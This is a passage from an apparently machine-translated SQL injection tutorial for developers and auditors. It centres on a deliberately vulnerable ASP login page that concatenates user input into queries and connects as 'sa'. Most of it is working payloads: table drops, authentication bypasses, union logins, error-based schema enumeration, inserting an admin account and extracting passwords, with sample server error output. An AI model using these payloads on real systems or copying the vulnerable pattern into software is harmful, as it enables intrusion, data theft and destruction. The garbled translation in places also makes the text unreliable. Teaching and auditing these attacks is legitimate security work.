This article is intended for two readers: one based on the database Web application developer and the security expert who audits various web programs.
Introduced
Structured Query Language (SQL) is a text language used to interact with the database. The SQL language is diverse, and most dialect versions are loosely followed by the SQL-92 standard (the latest ANSI standard [Translator NOTE: current SQL-99]). The typical operation of SQL is "query", which is a collection of statements that allow the database to return a query result recordset. SQL statements can modify the structure of the database (with Data definition language "DDL") and manipulate the data in the database (with the Data manipulation language "DML"). Here we focus on Transact-SQL (Interactive sql), a dialect of SQL that is applied to sql-server (non-standard SQL).
SQL injection attacks may occur if an attacker can insert a series of SQL statements into an application's data query.
A typical SQL statement is this:
Select ID, forename, surname from authors
This query will return all rows of ' id ', ' forename ' and ' surname ' columns from the ' authors ' table. The returned result set can also be restricted by a specific condition ' author ':
Select ID, forename, surname from authors where forename = ' john ' and surname = ' Smith '
Note that the important point here is that ' John ' and ' Smith ' are enclosed in quotes, assuming that the ' forename ' and ' surname ' fields come from user input, and that an attacker could inject SQL into the query by entering an illegal string:
Forename:jo ' HN
Surname:smith
The query statement becomes:
Select ID, forename, surname from authors where forename = ' Jo ' hn ' and surname = ' Smith '
When the database attempts to execute this query, it returns such an error:
SERVER:MSG 170, State 1, line 1
Line 1:incorrect syntax near ' HN '
This is because the inserted single quotation mark destroys the original single quotation mark data, and the database fails when it executes to ' HN '. If the attacker enters this way:
Forename:jo '; drop table authors--
Surname:
... the authors table will be deleted and the reason will be explained later.
It seems to solve this problem by removing single quotes from user-entered strings or by some means to prevent them from appearing. It is true, but there are many difficulties in implementing this solution. Because first of all: not all users submit the data is a string form, such as our user input through the ' ID ' (appears to be a number) to select a user, our query may be like this:
Select Id,forename,surname from authors where id=1234
In this case, an attacker can easily add SQL statements after a numeric input. In other SQL dialects, the use of various delimiters, such as the MS Jet DBMS engine, can be separated by a ' # ' symbol.
Second, avoiding single quotes is not as necessary a solution as we initially imagined, as discussed below.
We'll detail it in the active Server pages (ASP) landing page, which accesses a sql-server database and validates a visit to our hypothetical program.
This is the form page where the user fills in the user name and password:
<HTML>
<HEAD>
<title>login page</title>
</HEAD>
<body bgcolor= ' 000000 ' text= ' CCCCCC ' >
<font face= ' tahoma ' color= ' CCCCCC ' >
<CENTER><H1>Login</H1>
<form action= ' process_login.asp ' method=post>
<TABLE>
<tr><td>username:</td><td><input Type=text Name=username size=100%width=100></ Input></td></tr>
<tr><td>password:</td><td><input Type=password Name=password size=100%
Width=100></input></td></tr>
</TABLE>
<input type=submit value= ' Submit ' > <input type=reset value= ' reset ' >
</FORM>
</FONT>
</BODY>
</HTML>
This is the ' process_login.asp ' code that handles user login:
<HTML>
<body bgcolor= ' 000000 ' text= ' ffffff ' >
<font face= ' tahoma ' color= ' ffffff ' >
<STYLE>
P {font-size=20pt! important}
Font {FONT-SIZE=20PT! important}
H1 {font-size=64pt! important}
</STYLE>
<% @LANGUAGE = JScript%>
<%
function Trace (str)
{
if (Request.Form ("debug") = = "true")
Response.Write (str);
}
function Login (CN)
{
var username;
var password;
Username = Request.Form ("username");
Password = request.form ("password");
var RSO = Server.CreateObject ("ADODB.") Recordset ");
var sql = "Select * from users where username = '" + Username + "'
and password = ' "+ Password +" ' ";
Trace ("Query:" + SQL);
Rso.open (SQL, CN);
if (RSO. EOF)
{
Rso.close ();
%><font face= ' tahoma ' color= ' cc0000 ' >
<H1>
<BR><BR>
<center>access denied</center>
</H1>
</BODY>
</HTML>
<%
Response.End
Return
}
Else
{
Session ("username") = "" + RSO ("username");
%>
<font face= ' tahoma ' color= ' 00cc00 ' >
<H1>
<center>access granted<br>
<BR>
Welcome,
<% Response.Write (RSO ("Username"));
Response.Write ("</BODY></HTML>");
Response.End
}
}
function Main ()
{
Set up connection
var username
var cn = Server.CreateObject ("ADODB.") Connection ");
Cn.connectiontimeout = 20;
Cn.open ("LocalServer", "sa", "password");
Username = new String (Request.Form ("username"));
if (Username.length > 0)
{
Login (CN);
}
Cn.close ();
}
Main ();
%>
Here is the section on creating ' query string ' in ' process_login.asp ':
var sql = "Select * from users where username = '" + username + "' and password = '" + password + "";
If the user specifies the following data:
Username: '; drop table users--
Password:
The ' users ' table will be deleted and none of the users can log in. '--' is a single-line annotation character for Transact-SQL (interactive), '; ' Marks the beginning of another query at the end of one query. User name the last '--' is used to make this particular query end without errors.
An attacker who knows the user name can log in as any user by using the following input:
Username:admin '--
An attacker can log in as the first user in the user table by using the following input:
Username: ' or 1=1--
... Even more, an attacker could log on to any fictitious user by using the following input:
Username: ' Union select 1, ' Fictional_user ', ' Somoe_password ', 1--
Because the program trusts that the constant specified by the attacker is part of the recordset returned by the database.
[Get information via error message]
This technique was first discovered by David Litchfield in a penetration test, and later David wrote an article on the technology that many authors have referred to. Here we discuss the potential mechanism of the "error message" technology so that readers can fully understand it and apply it flexibly.
In order to manipulate the data in the database, an attacker would have to determine the structure of a database. For example, our "user" table was built with the following statement:
CREATE table users (ID int,
Username varchar (255),
Password varchar (255),
Privs int
)
And the following users are inserted:
Insert into users values (0, ' admin ', ' r00tr0x! ', 0xFFFF)
Insert into users values (0, ' guest ', ' guest ', 0x0000)
Insert into users values (0, ' Chris ', ' Password ', 0x00ff)
Insert into users values (0, ' Fred ', ' Sesame ', 0x00ff)
We assume that the attacker is going to insert a user for himself, and that he cannot succeed without knowing the structure of the table. Even if he is lucky, the importance of the ' priv ' field is not clear. An attacker could insert ' 1 ' and add a user with a low privilege to the program, and his goal is administrator privileges.
Fortunately for an attacker: If the program returns an error (as the ASP defaults), the attacker can guess the structure of the entire database and read any values that the ASP program connects to the Sql-server's account permissions to read.
(Use the sample database and ASP scripts provided above to illustrate how these technologies are implemented)
First, the attacker wants to determine the table name and field name of the query. To do this, an attacker can use the ' having ' clause of the ' SELECT ' statement:
Username: ' Having 1=1--
This causes the following error (Translator Note: The having phrase must be used in conjunction with GROUP by or aggregate functions, or else error):
Microsoft OLE DB Provider for ODBC Drivers error ' 80040e14 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column ' Users.id ' is
Invalid in the select list because it isn't contained in a aggregate
function and there is no GROUP by clause.
/process_login.asp, line 35
So the attacker knows the table name and the column name of the first column, and they can continue to get the other column names by adding a ' GROUP BY ' clause to each column, as follows:
Username: ' GROUP by Users.id has 1=1--
(The result is such a mistake)
Microsoft OLE DB Provider for ODBC Drivers error ' 80040e14 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column ' Users.username '
is invalid in the select list because it isn't contained in either
aggregate function or the GROUP by clause.
/process_login.asp, line 35
Finally the attacker got the following ' username ':
' GROUP by Users.id, Users.username, Users.password, Users.privs have 1=1--
There is no error in this sentence, which is equal to:
SELECT * from users where username = '
So the attacker knew that the query was only about the ' users ' table, and that the column ' Id,username,password,rpivs ' was used sequentially.
If an attacker could determine the data type of each column, it would be useful to do so by using type conversion error messages, as shown in the following example:
Username: ' Union select SUM (Username) from users--
This leverages the Sql-server attempt to perform the attribute of the ' sum ' clause before determining whether the two rows are identical, and to compute the text field and return such information:
Microsoft OLE DB Provider for ODBC Drivers error ' 80040e07 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] The sum or average
Aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
It tells us that the ' username ' field is of type ' varchar '. Conversely, if we try to compute a field of a numeric type, but the result of two rows does not match the number of columns:
Microsoft OLE DB Provider for ODBC Drivers error ' 80040e07 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] The sum or average
Aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
We can use this technique to roughly determine the types of columns within a database.
The attacker could then write a perfectly formatted ' insert ' statement:
Username: '; Insert into users values (666, ' attacker ', ' foobar ', 0xffff)--
But the potential for this technology is more than that. An attacker can use any error message to expose the system environment or database information. Execute the following statement to get a list of standard error messages:
SELECT * FROM Master. sysmessages
Check this list to find out a lot of interesting information.
A particularly useful information about type conversions, if you try to convert a string to an integral type, the entire string's contents will appear in the error message. In our landing page example, using the following ' username ' will return the version of Sql-server and the version information of the server operating system on which it resides:
Username: ' Union SELECT @ @version, 1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error ' 80040e07 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error converting
The nvarchar value ' Microsoft SQL Server 2000-8.00.194 (Intel X86) Aug
6 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 [Build 2195:service Pack 2] ' to a column of
Data type int.
/process_login.asp, line 35
This attempts to convert the built-in constant ' @ @version ' to an integral type because the first column in the ' Users ' table is an integer.
This technique can be used to read anything from any table in any database, and if an attacker is interested in a user name and password, they can read the user's name from the ' Users ' table:
Username: ' Union select min (Username), 1,1,1 from users where Username > ' A '--
This will select the smallest user name larger than ' a ' and try to convert it to an integer:
Microsoft OLE DB Provider for ODBC Drivers error ' 80040e07 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error converting
The varchar value ' admin ' to a column of data type int.
/process_login.asp, line 35
The attacker would know that the ' admin ' account exists and he could now put the user name he found in the ' where ' clause to test the line repeatedly:
Username: ' Union select min (Username), 1,1,1 from users where Username > ' admin '
Microsoft OLE DB Provider for ODBC Drivers error ' 80040e07 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error converting
The varchar value ' Chris ' to a column of data type int.
/process_login.asp, line 35
Once the attacker has identified the user name, he can collect the password;
Username: ' Union select password,1,1,1 from users where Username = ' admin '--
Microsoft OLE DB Provider for ODBC Drivers error ' 80040e07 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error converting
The varchar value ' r00tr0x! ' to a column of data type int.
/process_login.asp, line 35
A more "chic" technique is to connect a username and password to a single character Fu, and then try to convert it to an integral type. This will give another example: Transact-SQL statements can concatenate strings into one line without changing their meaning, and the following script will connect these values.
Begin DECLARE @ret varchar (8000)
Set @ret = ': '
Select @ret = @ret + ' +username+ '/' +password from users where
Username> @ret
Select @ret as ret into foo
End
current 1/2 page
1 2 Next read the full text
